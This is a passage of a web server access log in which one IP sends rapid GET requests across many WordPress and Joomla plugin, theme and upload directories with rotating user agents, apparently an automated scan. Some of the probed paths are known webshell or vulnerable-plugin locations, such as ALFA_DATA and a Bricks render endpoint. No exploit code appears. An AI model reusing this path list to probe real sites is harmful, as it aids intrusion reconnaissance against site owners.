/components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /files/shares/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:35 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:36 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:37 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:38 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 66.132.172.134 - - [13/Apr/2026:05:24:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 117.24.243.156 - - [13/Apr/2026:06:35:51 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 188.246.224.49 - - [13/Apr/2026:06:35:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 